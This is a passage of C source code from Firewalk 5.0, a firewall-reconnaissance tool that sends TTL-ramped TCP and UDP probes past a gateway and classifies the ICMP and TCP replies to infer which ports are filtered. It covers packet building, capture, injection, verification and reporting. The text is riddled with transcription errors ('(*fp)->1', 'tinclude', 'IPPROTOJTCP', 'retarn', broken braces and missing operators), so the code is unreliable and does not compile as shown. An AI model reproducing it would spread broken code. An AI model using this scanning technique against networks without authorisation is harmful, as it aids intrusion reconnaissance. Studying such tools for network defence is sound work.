          "\t\t   [-d %d - %d] destination port to use (ramping phase)\n"
          "\t\t   [-h] program help\n"
          "\t\t   [-i device] interface\n"
          "\t\t   [-n] do not resolve IP addresses into hostnames\n"
          "\t\t   [-p TCP | UDP] firewalk protocol\n"          
          "\t\t   [-r] strict RFC adherence\n"
          "\t\t   [-S x - y, z] port range to scan\n"
          "\t\t   [-s %d - %d] source port\n"
          "\t\t   [-T 1 - 1000] packet read timeout in ms\n"
          "\t\t   [-t 1 - %d] IP time to live\n"
          "\t\t   [-v] program version\n"
          "\t\t   [-x 1 - %d] expire vector\n"
          "\n",   argvO, FW_PORT_MIN, FW_PORT_MAX, FW_PORT_MIN,
                  FW_PORT_MAX, FW_IP_HOP_MAX, FW_XV_MAX);
          exit(EXIT_SUCCESS);
     }

     /* EOF */

packet_build.c

     /*
      * $Id: packet_build.c,v 1.2 2002/05/14 00:17:52 route Exp $
      *
      * Firewalk 5.0
      * packet_build.c - Packet construction code
      *
      * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
      * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
      * http://www.packetfactory.net/firewalk
      *
      */

     #if (HAVE_CONFIG_H)
     #include "../include/config.h"
     #endif
     #include "../include/firewalk.h"



     int
     fw_packet_build_probe (struct firepack **fp)
     {
          arp_t *a;
          route_t *r;
          struct arp_entry arp;
          struct route_entry route;

          /* first build our transport layer header */
          switch ((*fp)->protocol)
          {
               case IPPROTO_UDP:
               if (fw_packet_build_udp(fp) == -1)
               {
                    /* error msg set in fw_packet_build_udp() */
                    return (-1);
               }
               break;
          case IPPROTO_TCP:
               if (fw_packet_build_tcp(fp) == -1)
               {
                    /* error msg set in fw_packet_build_tcp() */
                     return (-1);
               }
               break;
          default:
               sprintf((*fp)->errbuf,
                    "fw_packet_build_probe(): unknown protocol");
               return (-1);
}

     /* build our IPv4 header */
     (*fp)->ip = libnet_build_ipv4(
          (*fp)->packet_size,                       /* packetlength */
          0,                                        /* IP tos */
          (*fp)->id,                                /* IP id */
          0,                                        /* IP frag bits */
          (*fp)->ttl,                               /* IP time to live */
          (*fp)->protocol,                          /* transport protocol */
          0,                                        /* checksum */
          (*fp)->sin.sin_addr.s_addr,               /* IP source */
          (*fp)->metric,                            /* IP destination */
          NULL,                                     /* IP payload */
          0,                                        /* IP payload size */
          (*fp)->l,                                 /* libnet context */
          0);                                       /* No saved ptag */
          if ((*fp)->ip == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_ipv4() %s",
               libnet_geterror((*fp)->1));
          return (-1);



     }

     /*
      * Now we need to get the MAC address of our first hop gateway.
      * Dnet to the rescue! We start by doing a route table lookup
      * to determine the IP address we use to get to the
      * destination host (the metric).
      */
     r = route_open();
     if (r == NULL)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_open()");
          route_close(r);
          return (-1);
     }
     /* convert the metric address to dnet's native addr_t format */
     if (addr_aton(libnet_addr2name4((*fp)->metric, 0),
               &route.route_dst) < 0)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "addr_aton()");
          route_close(r);
          return (-1);
     }
     /* get the route entry telling us how to reach the metric */
     if (route_get(r, fcroute) < 0)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_get()");
          route_close(r);
          return (-1);
     }
     route_close(r);

     a = arp_open();
     if (a == NULL)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "arp_open()");
          return (-1);
     }
     /* get the MAC of the first hop gateway */
     arp.arp_pa = route.route_gw;
     if (arp_get(a, &arp) 0)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_get()");
          arp_close(a);
          return (-1);
     }
     arp_close(a);

     /* build our ethernet header */
     if (libnet_autobuild_ethernet(
               (u char *(&arp.arp_ ha.addr eth,



               ETHERTYPE_IP,
               (*fp)->l) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                    "libnet_autobuild_ethernet(} %s",
                    libnet_geterror((*fp)->l));
          arp_close(a);
          return (-1);
     }

     return (1);
}

int
fw_packet_build_udp(struct firepack **fp)
{
     /* build a UDP header */
     (*fp)->udp = libnet_build_udp(
          (*fp)->sport,                                        /* source UDP port */
          (*fp)->dport,                                        /* dest UDP port */
          (*fp)->packet_size - LIBNET_IPV4_H,                  /* UDP size */
          0,                                                   /* checksum */
          NULL,                                                /* IP payload */
          0,                                                   /* IP payload size */
          (*fp)->l                                             /* libnet context */
          0);                                                  /* No saved ptag */

     if ((*fp)->udp == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_udp() %s",
               libnet_geterror((*fp)->1));
          return (-1);
     }
     return (1);
}

int
fw_packet_build_tcp(struct firepack **fp)
{
     /* build a TCP header */
     (*fp)->tcp = libnet_build_tcp(
          (*fp)->sport,                                           /* source TCP port */
          (*fp)->dport,                                           /* dest TCP port */
          (*fp)->seg,                                             /* sequence number */
          OL,                                                     /* ACK number */
          TH_SYN,                                                 /* control flags */
          1024,                                                   /* window size */
          0,                                                      /* checksum */
          0,                                                      /* urgent */
          (*fp)->packet_size - LIBNET_IPV4_H,                     /* TCP size */
          NULL,                                                   /* IP payload */
           0,                                                     /* IP payload size */



          (*fp)->l,                                               /* libnet context */
          0);                                                     /* No saved ptag */
     if ((*fp)->tcp == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_tcp() %s",
               libnet_geterror((*fp)->l));
          return (-1);
     }
     return (1);
}

/* EOF */

packet_capture.c

/*
 * $Id: packet_capture.c,v 1.4 2002/05/14 23:28:37 route Exp $
 *
 * Firewalk 5.0
 * packet_capture.c - Packet capturing routines
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
#include "../include/firewalk.h"

int loop = 1;

int
fw_packet_capture(struct firepack **fp)
{
     int pcap_fd, c, timed_out;
     fd_set read_set;
     struct timeval timeout;
     struct pcap_pkthdr pc_hdr;

     timeout.tv_sec = (*fp)->pcap_timeout;
     timeout.tv_usec = 0;

     pcap_fd = pcap_fileno((*fp)->p);
     FD_ZERO(&read_set);
     FD_SET(pcap_fd, &read_set);



     for (timed_out = 0; !timed_out && loop; )
     {
          c = select(pcap_fd + 1, &read_set, 0, 0, &timeout);
          switch (c)
          {
               case -1:
                    snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                         "selectO %s", strerror(errno));
                    return (-1);
               case 0:
                    timed_out = 1;
                    continue;
               default:
                    if (FD_ISSET(pcap_fd, &read_set) == 0)
                    {
                    timed_out = 1;
                    continue;
               }
               /* fall through to read the packet */
          }
          (*fp)->packet = (u_char *)pcap_next((*fp)->p, &pc_hdr);
          if ((*fp)->packet == NULL)
          {
               /* no NULL packets please */
               continue;
          }
          (*fp)->stats.packets_caught++;

          /*
           * Submit the packet for verification first based on scan type.
           * If we're not bound, we're still in phase one and need to
           * verify the ramping response. If we are bound, we're in
           * phase two and we need to verify the terminal response.
           * Then process the response from the verification engine.
           * Report to the user if necessary and update the packet
           * statistics.
           */
          switch (!(((*fp)->flags) & FW_BOUND) ?
fw_packet_verify_ramp(fp) :
                    fw_packet_verify_scan(fp))
          {
               case FW_PACKET_IS_TTL_EX_EN_ROUTE:
                    /* RAMPING: TTL expired en route to gateway
                        (standard) */
                    fw_report(FW_PACKET_IS_TTL_EX_EN_ROUTE, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PACKET_IS_TTL_EX_EN_ROUTE);
               case FW_PACKET_IS_UNREACH_EN_ROUTE:
                    /* RAMPING: Unreachable en route to gateway
                        (uncommon) */
                    fw_report(FW_PACKET_IS_UNREACH_EN_ROUTE, fp);



                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PACKET_IS_TTL_EX_EN_ROUTE);
               case FW_PACKET_IS_TERMINAL_TTL_EX:
                    /* RAMPING: TTL expired at destination (rare) */
                    fw_report(FW_PACKET_IS_TERMINAL_TTL_EX, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PACKET_IS_TERMINAL_TTL_EX);
               case FW_PACKET_IS_TERMINAL_UNREACH;
                    /* RAMPING: Unreachable at destination (uncommon) */
                    fw_report(FW_PACKET_IS_TERMINAL_UNREACH, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PACKET_IS_TERMINAL_UNREACH);
               case FW_PACKET_IS_TERMINAL_SYNACK:
                    fw_report(FW_PACKET_IS_TERMINAL_SYNACK, fp);
                    (*fp)->stats.packets_caught_interesting++;                  
                    return (FW_PACKET_IS_TERMINAL_UNREACH);
               case FW_PACKET_IS_TERMINAL_RST:
                     fw_report(FW_PACKET_IS_TERMINAL_RST, fp);
                     (*fp)->stats.packets_caught_interesting++;
                     return (FW_PACKET_IS_TERMINAL_RST);
               case FW_PORT_IS_OPEN_SYNACK:
                    /* SCANNING: A response from an open TCP port */
                    fw_report(FW_PORT_IS_OPEN_SYNACK, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PORT_IS_OPEN_SYNACK);
               case FW_PORT_IS_OPEN_RST:
                    /* SCANNING: A response from a closed TCP port */
                    fw_report(FW_PORT_IS_OPEN_RST, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PORT_IS_OPEN_RST);
               case FW_PORT_IS_OPEN_UNREACH:
                    /* SCANNING: A port unreachable response */
                    fw_report(FW_PORT_IS_OPEN_UNREACH, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PORT_IS_OPEN_UNREACH);
               case FW_PORT_IS_OPEN_TTL_EX:
                    /* SCANNING: A TTL expired */
                    fw_report(FW_PORT_IS_OPEN_TTL_EX, fp);
                    (*fp)->stats.packets_caught_interesting++;
                    return (FW_PORT_IS_OPEN_TTL_EX);
               case FW_PACKET_IS_BORING:
               default:
                    continue;
          }
     }
     if (!loop)
     {
          return (FW_USER_INTERRUPT);
     }
     /*
      * If we get here, the scan timed cut. We either dropped a packet
      * somewhere or there is some filtering going on.



      */
     printf("*no response*\n");
     fflush(stdout);
     return (FW_NO_REPLY);
}

/* EOF */

packet_filter.c

/*
 * $Id: packet_filter.c,v 1.2 2002/05/14 00:17:52 route Exp $
 *
 * Firewalk 5.0
 * packet_fliter.c - Packet filtering code
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
tinclude "../include/firewalk.h"

int
fw_set_pcap_filter(char *filter, struct firepack **fp)
{
     struct bpf_program filter_code;
     bpf_u_int32 local_net, netmask;
     char errbuf[PCAP_ERRBUF_SIZE];

     /* get the subnet mask of the interface */
     if (pcap_lookupnet{(*fp)->device, &local_net, fcnetmask, errbuf) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "pcap_lookupnet(): %s",
               errbuf);
          return (-1);
     }

     /* compile the BPF filter code */
     if (pcap_compile((*fp)->p, &filter_code, filter, 1, netmask) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "pcap_compile(): %s", pcap_geterr((*fp)->p));
          return (-1);
     }

     /* apply the filter to the interface */



     if (pcap_setfilter((*fp)->p, &Silter_code) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "pcap_setfilter(): %s",
               pcap_geterr((*fp)->p));
          return (-1);
     }
     return (1);
}

/* EOF */

packet_inject.c

     /*
      * $Id: packet_inject.c,v 1.2 2002/05/14 00:17:52 route Exp $
      *
      * Firewalk 5.0
      * packet_inject.c - Packet injection code
      *
      * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
      * Copyright {c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
      * http://www.packetfactory.net/firewalk
      *
      */

     #if HAVE_CONFIG_H)
     tinclude "../include/config.h"
     #endif
     #include "../include/firewalk.h"

     int
     fw_packet_inject(struct firepack **fp)
     {
          int n;
          n = libnet_write((*fp)->1);
          switch (n)
          {
               case -1:
                    (*fp)->stats.packets_err++;
                    snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                         "libnet_write() %s", libnet_geterror((*fp)->1));
                     return (-1);
               default:
                    (*fp)->stats.packets_sent++;
                    return (1); 
          }
     }



     /* EOF */

packet_update.c

     /*
      * $Id: packet_update.c,v 1.2 2002/05/14 00:17:52 route Exp $
      *
      * Firewalk 5.0
      * packet_update.c - Packet updating code
      *     
      * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
      * Copyright c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
      * http://www.packetfactory.net/firewalk
      *
      */

     #if (HAVE_CONFIG_H)
     #include "../include/config.h"
     #endif
     #nclude "../include/firewalk.h"

     int
     fw_packet_update_probe(struct firepack **fp, u_short cport)
     {
          if (!((*fp)->flags & FW_BOUND))
          {
               /* phase one: just update IP TTL */
               (*fp)->ttl++;
          }
          else
          {
               /* phase two; update port scanning probe */
               switch ((*fp)->protocol)
               {
                    case IPPROTO_TCP:
                         (*fp)->dport = cport;

                         (*fp)->tcp = libnet_build_tcp(
                              (*fp)->sport,           /* source TCP port */
                              (*fp)->dport,           /* dest TCP port */
                              (*fp)->seq,             /* sequence number */
                              OL,                     /* ACK number */
                              TH_SYN,                 /* control flags */
                              1024,                   /* window size */
                              0,                      /* checksum */
                              0,                      /* urgent */
                              (*fp)->packet_size - LIBNET_IPV4_H,
                                                      /* packet size */
                              NULL,                   /* payload */
                              0,                      /* payload size */



                              (*fp)->l,               /* libnet context */
                              (*fp)->tcp);            /* TCP ptag */
                        if ((*fp)->tcp == -1)
                         {
                              snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                                   "libnet_build_tcp() %s",
                                   libnet_geterror((*fp)->1));
                              return (-1);
                         }
                         break;
                    case IPPROTO_UDP:
                         (*fp)->dport = cport;
                         (*fp)->udp = libnet_build_udp(

                              (*fp)->sport,             /* source UDP port */
                              (*fp)->dport,             /* dest UDP port */
                              (*fp)->packet_size - LIBNET_IPV4_H,
                                                        /* size */
                              0,                        /* checksum */
                              NULL,                     /* payload */
                              0,                        /* payload size */
                              (*fp)->l,                 /* libnet context */
                              (*fp)->udp);              /* udp ptag */

                     if ((*fp)->udp == -1)
                     {
                         snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                              "libnet_build_udp() %s",
                              libnet_-geterror ((*fp)->1));
                         return (-1);
                    }
                    break;
          }
     }

     (*fp)->ip = libnet_build_ipv4(
                    (*fp)->packet_size,               /* packetlength */
                    0,                                /* IP tos */
                    (*fp)->id,                        /* IP id */
                    0,                                /* IP frag bits */
                    (*fp)->ttl,                       /* IP time to live */
                    (*fp)->protocol,                  /* transport protocol */
                    0,                                /* checksum */
                    (*fp)->sin.sin_addr.s_addr,       /* IP source */
                    (*fp)->metric,                    /* IP destination */
                    NULL,                             /* IP payload */
                    0,                                /* IP payload size */
                    (*fp)->l,                         /* libnet context */
                    (*fp)->ip);                       /* ip ptag */

          if ((*fp)->ip == -1)
          {



               snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_ipv4() %s",
                    libnet_geterror((*fp)->l));
               return (-1);
          }

          return (1);
     }

     /* EOF */

packet_verify.c

/*
 * $Id: packet_verify.c,v 1.3 2002/05/14 20:20:39 route Exp $
 *
 * Firewalk 5.0
 * packet_verify.c - Packet verification code
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
#include "../include/firewalk.h"

int
fw_packet_verify_ramp(struct firepack **fp)
{
     struct libnet_ipv4_hdr *ip_hdr;
     struct libnet_icmpv4_hdr *icmp_hdr;
     struct libnet_ipv4_hdr *o_ip_hdr;
     struct libnet_tcp_hdr *tcp_hdr;

     /* point to the IP header */
     ip_hdr = (struct libnet_ipv4_hdr *)
               ((*fp)->packet + (*fp)->packet_offset);

     if (ip_hdr->ip_src.s_addr == (*fp)->sin.sin_addr.s_addr)
     {
          /* packets we send are of no interest to us here. */
          return (FW_PACKET_IS_BORING);
     }

     switch (ip_hdr->ip_p)
     {



          case IPPROTO_ICMP:
               icmp_hdr = (struct libnet_icmpv4_hdr *)
                    ((*fp)->packet + (*fp)->packet_offset + LIBNET_IPV4_H);

               switch (icmp_hdr->icmp_type)
               {
                    case ICMP_TIMXCEED:
                         if (icmp_hdr->icmp_code != ICMP_TIMXCEED_INTRANS)
                         {
                         /*
                          * Packet was from an expired IP frag queue
                          * reassembly timer. Nothing we want.                          
                          */
                         break;
                    }
          case ICMP_UNREACH:
                    /*
                     * Point to the original IPv4 header inside the
                     * ICMP message's payload. An IPv4 header is
                     * LIBNET_IPV4_H bytes long and both ICMP
                     * unreachable and time exceed headers are 8 bytes.
                     */
                    o_ip_hdr = (struct libnet_ipv4_hdr *)
                         ((*fp)->packet + (*fp)->packet_offset
                         + LIBNET_IPV4_H + 8) ;

                    /*
                     * Check the IP header of the packet that caused
                     * the unreachable for our markings which include:
                     * Original IP ID: set to the process id.
                     * Original IP source address: our source address.
                     */
                    if (!FW_IS_OURS(o_ip_hdr, fp))
                    {
                         break;
                    }
                    if (ip_hdr->ip_src.s_addr == (*fp)->metric)
                    {
                         /*
                          * ICMP response from our metric. This ends
                          * our scan since we've reached the metric
                          * before the target gateway.
                          */
                         return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
                              FW_PACKET_IS_TERMINAL_TTL_EX :
                              FW_PACKET_IS_TERMINAL_UNREACH);
                    }
                    if (ip_hdr->ip_src._s_addr == (*fp)->gateway)
                    {
                         /*
                          * Response from our target gateway.
                          */



                         (*fp)->flags |= FW_BOUND;
                    }
                    /*
                     * If we get to this point, the packet is an
                     * ICMP response from an intermediate router.
                     */
                    return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
                         FW_PACKET_IS_TTL_EX_EN_ROUTE :
                         FW_PACKET_IS_UNREACH_EN_ROUTE);
                    break;
               default:
                    break;
          }
     case IPPROTO_TCP:
          if ((*fp)->protocol != IPPROTOJTCP)
          {
               /*
                * We're only interested in TCP packets if this is a
                * TCP-based scan.
                */
                break;
          }

          tcp_hdr = (struct libnet_tcp_hdr *)
               ((*fp)->packet +
               (*fp)->packet_offset + LIBNET_IPV4_H)

          if (!(tcp_hdr->th_flags & TH_SYN) &&
               !(tcp_hdr->th_flags & TH_RST))
          {
               /*
                * We only care about SYN|ACK and RST|ACK packets.
                * The rest can burn.
                */
               break;
          }

          if ((*fp)->flags & FW_STRICT_RFC)
          {
               /*
                * Strict RFC compliance dictates that an RST or
                * an SYN|ACK will have our SEQ + 1 as the ACK number
                * also, the RST will have the ACK bit set). This is
                * of course, assuming the packet is ours.
                */
               if (ntohl(tcp_hdr->th_ack) != (*fp)->seq + 1)
               {
                    break;
               }
     }

     if (ntohs(tcp_hdr->th_dport) == (*fp)->sport &&



          ntohs(tcp_hdr->th_sport) == (*fp)->dport)
     {
          /* this is most likely a response to our SYN probe */
          return (((tcp_hdr->th_flags & TH_SYN) ?
          FW_PACKET_IS_TERMINAL_SYNACK :
          FW_PACKET_IS_TERMINAL_RST));
     }
     break;
}
     return (FW_PACKET_IS_BORING);
}

int
fw_packet_verify_scan(struct firepack **fp)
{
     struct libnet_ipv4_hdr *ip_hdr;
     struct libnet_icmpv4_hdr *icmp_hdr;
     struct libnet_ipv4_hdr *o_ip_hdr;
     struct libnet_tcp_hdr *tcp_hdr;

     ip_hdr = (struct libnet_ipv4_hdr *)((*fp)->packet +
               (*fp)->packet_offset);

     if (ip_hdr->ip_src.s_addr == (*fp)->sin.sin_addr.s_addr)
     {
          /* packets we send are of no interest to us here. */
          return (FW_PACKET_IS_BORING);
     }
     switch (ip_hdr->ip_p)
     {
          case IPPROTO_ICMP:
               icmp_hdr = (struct libnet_icmpv4_hdr *)
                    ((*fp)->packet + (*fp)->packet_offset + LIBNET_IPV4_H);

          switch (icmp_hdr->icmp_type)
          {
               case ICMPJTIMXCEED:
                    if (icmp_hdr->icmp_code != ICMP_TIMXCEED_INTRANS)
                    {
                         /*
                          * Packet was from an expired IP frag queue
                          * reassembly timer. Nothing we want.
                          */
                         break;
                    }
               case ICMP_UNREACH:
                    /*
                     * Point to the original IPv4 header inside the
                     * ICMP message's payload. An IPv4 header is
                     * LIBNET_IPV4_H bytes long and both ICMP
                     * unreachable and time exceed headers are 8 bytes.
                     */



                    o_ip_hdr = (struct libnet_ipv4_hdr *)
                         ((*fp)->packet + (*fp)->packet_offset
                         + LIBNET_IPV4_H + 8);

                    /*
                     * Check the IP header of the packet that caused
                     * the unreachable for our markings which include:
                     * Original IP ID: set to the process id.
                     * Original IP source address: our source address.
                     */
                    if (FW_IS_OURS(o_ip_hdr, fp))
                    {
                         /* the packet made it through the filter */
                         return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
                              FW_PORT_IS_OPEN_TTL_EX :
                              FW_PORT_IS_OPEN_UNREACH);
                    }
                    break;
               default:
                    break;
     }
     case IPPROTOJTCP:
          if ((*fp)->protocol != IPPROTO_TCP)
          {
               /*
                * We're only interested in TCP packets if this is a
                * TCP-based scan.
                */
               break;
          }
          tcp_hdr = (struct libnet_tcp_hdr *)
                    ((*fp)->packet +
                    (*fp)->packet_offset + LIBNET_IPV4_H);

          /*
           * We only care about SYN|ACK and RST|ACK packets.
           * The rest can burn.
           */
          if (!(tcp_hdr->th_flags & TH_SYN) &&
              !(tcp_hdr->th_flags & TH_RST))
          {
               break;
          }

          if ((*fp)->flags & FW_STRICT_RFC)
          {
               /*
                * Strict RFC compliance dictates that an RST or
                * an SYN|ACK will have our SEQ -t- 1 as the ACK number
                * also, the RST will have the ACK bit set). This is
                * of course, assuming the packet is ours.
                */



               if (ntohl(tcp_hdr->th_ack) != (*fp)->seq + 1)
               {
                    break;
               }
               }

               if (ntohs(tcp_hdr->th_dport) == (*fp)->sport &&
                    ntohs(tcp_hdr->th_sport) == *fp)->dport)
               {
                    /* the packet made it through the filter */
                    return (((tcp_hdr->th_flags & TH_SYN) ?
                         FW_PORT_IS_OPEN_SYNACK :
                         FW_PORT_IS_OPEN_RST));
               }
               break;
          default:
               break
     }
     return (FW_PACKET_IS_BORING);
}

/* EOF */

report.c

/*
 * $Id: report.c,v 1.3 2002/05/14 23:28:37 route Exp $
 *
 * Firewalk 5.0
 * report.c - Reporting code
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
#include ". . /inclucie/'confiy .h"
#endif
#include "../include/firewalk.h"
#include "../include/unreachables.h"

void
fw_report(int class, struct firepack **fp)
{
     struct libnet_ipv4_hdr *ip_hdr;

     ip_hdr = (struct libnet_ipv4_hdr *)
               ((*fp)->packet + (*fp)->packet_offset);



     if (((*fp)->flags & FW_BOUND) &&
          ip_hdr->ip_src.s_addr == (*fp)->metric)
{
     /* adjacent target gateway and metric */
     printf("A! ");
}
switch (class)
{
     case FW_PACKET_IS_TTL_EX_EN_ROUTE:
          printf("expired [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PACKET_IS_UNREACH_EN_ROUTE:
          printf("unreach %s [%s]\n",
               fw_get_unreach_code(fp),
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PACKET_IS_TERMINAL_TTL_EX:
          printf("terimnal (expired) [%s]\n",
               libnet_addr2name4 ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PACKET_IS_TERMINAL_UNREACH:
          printf("terminal (unreach %s) [%s]\n",
               fw_get_unreach_code(fp),
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PACKET_IS_TERMINAL_SYNACK:
          printf("terminal (synack) [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PACKET_IS_TERMINAL_RST:
          printf("terminal (rst) [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          break;
     case FW_PORT_IS_OPEN_SYNACK:
          printf("open (port listen) [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          (*fp)->stats.ports_open++;
          break;
     case FW_PORT_IS_OPEN_RST:
          printf("open (port not listen) [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->f lags) & FW_RESOLVE));
          (*fp)->stats.ports_open++;



          break;
     case FW_PORT_IS_OPEN_UNREACH:
          printf("unknown (unreach %s) [%s]\n",
               fw_get_unreach_code(fp),
               libnet_addr2name4 (ip_hdr->ip_src. s_addr,
               ((*fp)->flags) & FWJRESOLVE));
          (*fp)->stats.ports_unknown++;
          break;
     case FW_PORT_IS_OPEN_TTL_EX:
          printf("open (expired) [%s]\n",
               libnet_addr2name4(ip_hdr->ip_src.s_addr,
               ((*fp)->flags) & FW_RESOLVE));
          (*fp)->stats.ports_open++;
          break;
     default:
          break;
     }
}

void
fw_report_stats(struct firepack **fp)
{
     printf("\nTotal packets sent:                         %ld n"
            "Total packet errors:                          %ld\n"
            "Total packets caught                          %ld\n"
            "Total packets caught of interes               %d\n"
            "Total ports scanned                           %d\n"
            "Total ports open:                             %d\n"
            "Total ports unknown:                          %d\n",
         (*fp)->stats.packets_sent, (*fp)->stats.packets_err,
         (*fp)->stats.packets_caught,
         (*fp)->stats.packets_caught_interesting,
         (*fp)->stats.ports_total,
         (*fp)->stats.ports_open,
         (*fp)->stats.ports_unknown);
}

char *
fw_get_unreach_code(struct firepack **fp)
{
     struct libnet_icmpv4_hdr *icmp_hdr;
     icmp_hdr = (struct libnet_icmpv4_hdr *)
          ((*fp)->packet + (*fp)->packet_offset + LIBNET_IPV4_H);
     if (icmp_hdr->icmp_code 15)
     {
          return ("Unknown unreachable code");
     }
     return (unreachables[icmp_hdr->icmp_code]);
}

/* EOF */



signal.c

/*
 * $Id: signal.c,v 1.3 2002/05/14 00:17:52 route Exp $
 *
 * Firewalk 5.0
 * signal.c - Signal handling code
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
#include "../include/firewalk.h"

extern int loop;

int
catch_sig(int signo, void (*handler)())
{
     struct sigaction action;

     /* install the new handler */
     action.sa_handler = handler;

     /* unblock all other signals */
     sigemptyset(faction.sa_mask);
     action.sa_flags = 0;
     if (sigaction(signo, &action, NULL) == -1)
     {
          return (-1);
     }
     else
     {
          return (1);
     }
}

void
catch_sigint(int nil)
{
loop = 0;
}
/* EOF */



util.c

/*
 * $Id: util.c,v 1.2 2002/05/14 00:17:52 route Exp $
 *
 * Firewalk 5.0
 * util.c - Misc routines
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)
tinclude "../include/config.h"
#endif
#include <stdarg.h>
#include "../include/firewalk.h"

int
fw_str2int(register const char *str, register const char *what,
     register int min, register int max)
{
     register const char *cp;
     register int val;
     char *ep;

     if (str[0] == '0' && (str[l] == 'x' || strfl] == 'X'))
     {
          cp = str + 2;
          val = (int)strtol(cp, &ep, 16);
     }
     else
     {
          val = (int)strtol(str, &ep, 10);
     }

     if (*ep != '0')
     {
          fprintf(stderr, "\"%s\" bad value for %s\n", str, what);
          exit(EXIT_FAILURE);
     }
     if (val min && min = 0)
     {
          if (min == 0)
          {
               fprintf(stderr, "%s must be = %d\n", what, min);
               return (-1);
          }
          else



          {
               fprintf(stderr, "%s must be > %d\n", what, min - 1);
               exit(EXIT_FAILURE);
          }
     }
     if (val > max && max >= 0)
     {
          fprintf(stderr, "%s must be <= %d\n", what, max);
          exit(EXIT_FAILURE);
     }
     return (val);
}

int
fw_prot_select(char *protocol)
{
     char *supp_protocols[] = {"UDP", "TCP", 0};
     int i;

     for (i = 0; supp_protocols[i]; i++)
     {
          if ((!strcasecmp(supp_protocols[i], protocol)))
          {
               switch (i)
               {
                    case 0:
                         /* UDP */
                         return (IPPROTO_UDP);
                    case 1:
                         /* TCP */
                         retarn (IPPROTO_TCP);
                    default:
                         fprintf(stderr, "unsupported protocol: %s\n",
                              protocol);
                         exit(EXIT_FAILURE);
               }
          }
     }
     fprintf(stderr, "unsupported protocol: %s\n", protocol);
     return (-1);
}

/* EOF */
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